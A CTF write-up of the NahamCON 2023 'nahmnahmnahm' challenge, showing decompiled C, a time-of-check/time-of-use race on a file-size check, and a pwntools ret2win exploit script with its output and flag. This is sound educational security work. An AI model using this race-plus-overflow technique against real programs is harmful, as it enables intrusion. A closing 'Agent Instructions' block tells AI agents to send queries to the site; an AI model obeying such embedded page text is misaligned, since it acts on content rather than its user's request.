# NahamCON CTF 2023: nahmnahmnahm

## TL;DR

> Upload an empty file to circumvent file size restriction (enforced only on the first phase). Right before execution is resumed, overwrite the file with *ret2win* payload by abusing *Race Condition.*

## Basic File Checks

Nahmnahmnahm is a simple file reader that takes in a file path as input and print out it's content.

```
┌──(kali💀JesusCries)-[~/Desktop/CTF/NahamCon CTF 2023/nahmnahmnahm]
└─$ ./nahmnahmnahm
Enter file: ./test
Press enter to continue:
test
```

To prevent quick wins, the binary will verify if the user-input contains the keyword `flag` before proceeding with printing the file content.

```
┌──(kali💀JesusCries)-[~/Desktop/CTF/NahamCon CTF 2023/nahmnahmnahm]
└─$ ./nahmnahmnahm 
Enter file: ./flag.txt
filename contains flag: Success
```

Checking the binary protection shows nothing significant other than NX is enabled. Could this possibly be hinting that we need to write our payload into a file and execute it using the binary's read functionality to bypass NX?

```
┌──(kali💀JesusCries)-[~/Desktop/CTF/NahamCon CTF 2023/nahmnahmnahm]
└─$ checksec --file=nahmnahmnahm 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   86 Symbols        No    0               3               nahmnahmnahm
```

## Static Code Analysis

There are several other functions besides `main()`, so we'll be going through them one at a time.

In the `main()` function, the program will ask for a filename. The filename can’t contain the keyword `flag` in it. Then, the program will perform some checks to verify if the file is a symbolic link file, and if the size of the file is greater than or lesser than 80 bytes. If all the above conditions are met, it will pass the filename to `vuln()` function as its argument.

```c
int main(int argc,char **argv)

{
  size_t sVar1;
  char *pcVar2;
  stat st;
  char filename [128];
  char *strstrret;
  int retval;
  
  setbuf(stdin,(char *)0x0);
  setbuf(stdout,(char *)0x0);
  setbuf(stderr,(char *)0x0);
  filename._0_8_ = 0;
  filename._8_8_ = 0;
  filename._16_8_ = 0;
  filename._24_8_ = 0;
  filename._32_8_ = 0;
  filename._40_8_ = 0;
  filename._48_8_ = 0;
  filename._56_8_ = 0;
  filename._64_8_ = 0;
  filename._72_8_ = 0;
  filename._80_8_ = 0;
  filename._88_8_ = 0;
  filename._96_8_ = 0;
  filename._104_8_ = 0;
  filename._112_8_ = 0;
  filename._120_8_ = 0;
  printf("Enter file: ");
  fgets(filename,0x7f,stdin);
  sVar1 = strcspn(filename,"\n");
  filename[sVar1] = '\0';
  pcVar2 = strstr(filename,"flag");
  if (pcVar2 == (char *)0x0) {
    retval = lstat(filename,(stat *)&st);
    if (retval == -1) {
      perror("stat");
    }
    else if ((st.st_mode & 0xf000) == 0xa000) {
      perror("is_symlink");
      retval = -1;
    }
    else if (st.st_size < 0x51) {
      puts("Press enter to continue:");
      getchar();
      vuln(filename);
    }
    else {
      perror("File size");
      retval = -1;
    }
  }
  else {
    perror("filename contains flag");
    retval = -1;
  }
  return retval;
}
```

In the `vuln()` function, the program reads the content of the file in the variable filename using the `fopen()`, with a maximum data reading size of 4096 bytes (`0x1000`). Then, stores it in the variable `buf`, which can only hold data up to 80 bytes. This causes a buffer overflow vulnerability that can be exploited to call the `winning_function()` to achieve *ret2win*.

```c
void vuln(char *filename)

{
  FILE *__stream;
  char buffer [80];
  FILE *f;
  
  __stream = fopen(filename,"r");
  if (__stream == (FILE *)0x0) {
    perror("fopen");
  }
  else {
    fread(buffer,1,0x1000,__stream);
    printf("%s",buffer);
  }
  return;
}

void winning_function(void)

{
  FILE *__stream;
  char contents [256];
  FILE *f;
  
  puts("Welcome to the winning function!");
  __stream = fopen("flag","r");
  fread(contents,1,0x100,__stream);
  puts(contents);
  fclose(__stream);
  return;
}
```

## Race Condition

In essence, the programs only perform a one-time check in the `main()` function before pausing the program execution with a `getc()` function that waits for the user to enter any character. This introduces another exploitable loophole known as Race Condition.&#x20;

The plan is to create an empty file and input the name of the file as our input and wait for the program to enter an idle state, before writing our ROP/ret2win payload into the file. When the program execution resumes, it will call the `vuln()` function, and leads us to `winning_function()` because of the buffer overflow vulnerabilities.

Think of this like Command Line Spoofing, where a process is first created in a suspended state with benign command line arguments. Right after the verification/logging procedure is over, the arguments can then be overwritten with any malicious inputs.

<figure><img src="/files/RU21aUSRRDzU6UVupSEx" alt=""><figcaption></figcaption></figure>

## ret2win

{% code title="solve.py" %}

```python
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'

elf = ELF('./nahmnahmnahm')
rop = ROP(elf)

p = elf.process()

payload = b"A"
f = open("./payload", "wb")
f.write(payload)
f.close() 

p.sendlineafter(b": ", b"./payload")

payload = b"A" * 104
payload += p64(elf.symbols["winning_function"])
payload += p64((rop.find_gadget(['ret']))[0])

f = open("./payload", "wb")
f.write(payload)
f.close() 

p.sendlineafter(b"Press enter to continue:", b"A")
p.interactive()
```

{% endcode %}

```
┌──(kali💀JesusCries)-[~/Desktop/CTF/NahamCon CTF 2023/nahmnahmnahm]
└─$ ./solve.py 
[*] '/home/kali/Desktop/CTF/NahamCon CTF 2023/nahmnahmnahm/nahmnahmnahm'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Loaded 14 cached gadgets for './nahmnahmnahm'
[+] Starting local process '/home/kali/Desktop/CTF/NahamCon CTF 2023/nahmnahmnahm/nahmnahmnahm': pid 3244
[*] Switching to interactive mode

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x96\x12@Welcome to the winning function!
flag{d41d8cd98f00b204e9800998ecf8427e}
```

**Flag:** flag{d41d8cd98f00b204e9800998ecf8427e}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://jesuscries.gitbook.io/home/ctf-writeups/binary-exploitation/nahamcon-ctf-2023-nahmnahmnahm.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
